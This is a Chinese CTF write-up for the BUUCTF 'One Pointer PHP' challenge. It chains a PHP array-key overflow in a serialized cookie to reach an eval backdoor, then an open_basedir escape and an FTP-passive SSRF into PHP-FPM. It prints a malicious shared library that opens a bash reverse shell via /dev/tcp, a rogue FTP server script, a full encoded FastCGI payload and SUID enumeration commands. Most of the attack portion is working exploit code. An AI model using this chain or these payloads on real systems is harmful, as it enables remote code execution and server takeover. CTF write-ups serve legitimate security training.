buuctf-One Pointer PHP
题目给了源码:
add_api.php:
<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
$count[++$user->count]=1;
if($count[]=1){
$user->count+=1;
setcookie("data",serialize($user));
}else{
eval($_GET["backdoor"]);
}
}else{
$user=new User;
$user->count=1;
setcookie("data",serialize($user));
}
?>
user.php
<?php
class User{
public $count;
}
?>
这里我们想要程序执行到eval
函数,就要过if($count[]=1)
的条件判断,让其不成立。这里用到了数组Key溢出的知识点,$count[]=1
是赋值语句,如果是整数索引,下一个产生的索引是当前最大的整数索引+1。当key等于PHP int类型数据的最大值时,想要再插入一个更大的值会造成溢出,导致出现warning。php的int类型数据范围与操作系统相关,32位系统上为2的31次方,即-2147483648到2147483647。64位系统上为2的63次方,-9223372036854775808到9223372036854775807。
反序列化:
<?php
class User{
public $count
}
$o = new User();
$o->count=9223372036854775806;
echo serialize($o);
# O:4:"User":1:{s:5:"count";i:9223372036854775806;}
抓包加到cookie里,再通过get传一个phpinfo:
在phpinfo里可以看到disable_funcions和open_basedir。可以使用chdir()
和ini_set()
函数来突破basedir的限制。列出根目录:
/add_api.php?backdoor=mkdir('temp');chdir('temp');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
在phpinfo里可以看到开启了php-FPM服务,也可以在/usr/local/etc/
目录下看到php-fpm.conf
文件。
接下来尝试读取fpm的配置文件:
/add_api.php?backdoor=mkdir('ye');
chdir('ye');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(file_get_contents('/usr/local/etc/php-fpm.d/www.conf'));
可以看到FPM运行在9001端口:
通过SSRF来攻击FPM,这道题无法直接使用SSRF,但是可以利用file_put_contents()
的特性来实现SSRF:file_put_contents()
在使用ftp协议时会将data的内容上传到ftp服务器,在pasv
模式下,服务器的地址和端口是可控的,可以将地址和端口指到127.0.0.1:9001
。同时由于ftp的特性,不会有任何多余的内容,data会原封不动的转发,复合攻击FPM的要求。
编写恶意的so文件来执行命令:
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
system("bash -c 'exec bash -i &>/dev/tcp/IP/PORT <&1'"); //反弹Shell,配置需修改
}
编译文件:gcc 1.c -fPIC -shared -o 1.so
将生成的1.so上传到目标主机的/tmp目录中:
/add_api.php?backdoor=mkdir('temp');chdir('temp');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');copy('url/1.so','/tmp/1.so');
检查是否上传成功:
/add_api.php?backdoor=mkdir('temp');chdir('temp');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/tmp'));
接下哎生成file_put_contents('ftp:://',$data)
里的$data,用到的脚本是fcgi_jailbreak.php,只要修改$php_value部分:
$php_value = "unserialize_callback_func = system\nextension_dir = /tmp\nextension = 1.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = ";
生成payload:
data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%029%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%ADPHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Ftmp%0Aextension+%3D+1.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00
解码后可以看到:
相当于以open_basedir为跟目录,执行system('/tmp/1.so')
命令
在服务器上开一个ftp服务:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 5555))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()
最终payload:
/add_api.php?backdoor=phpinfo();file_put_contents($_GET[%27file%27],$_GET[%27data%27]);&file=ftp://aaa@yourip:5555/1&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%029%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%ADPHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Ftmp%0Aextension+%3D+1.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00
在服务器上我们可以收到shell:
最后一步是SUID提权,寻找有权限命令的SUID文件:find / -perm -u=s -type f 2>/dev/null
用php获取flag:
php -a
mkdir('123'); chdir('123');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..'); ini_set('open_basedir','/');echo(file_get_contents('/flag'));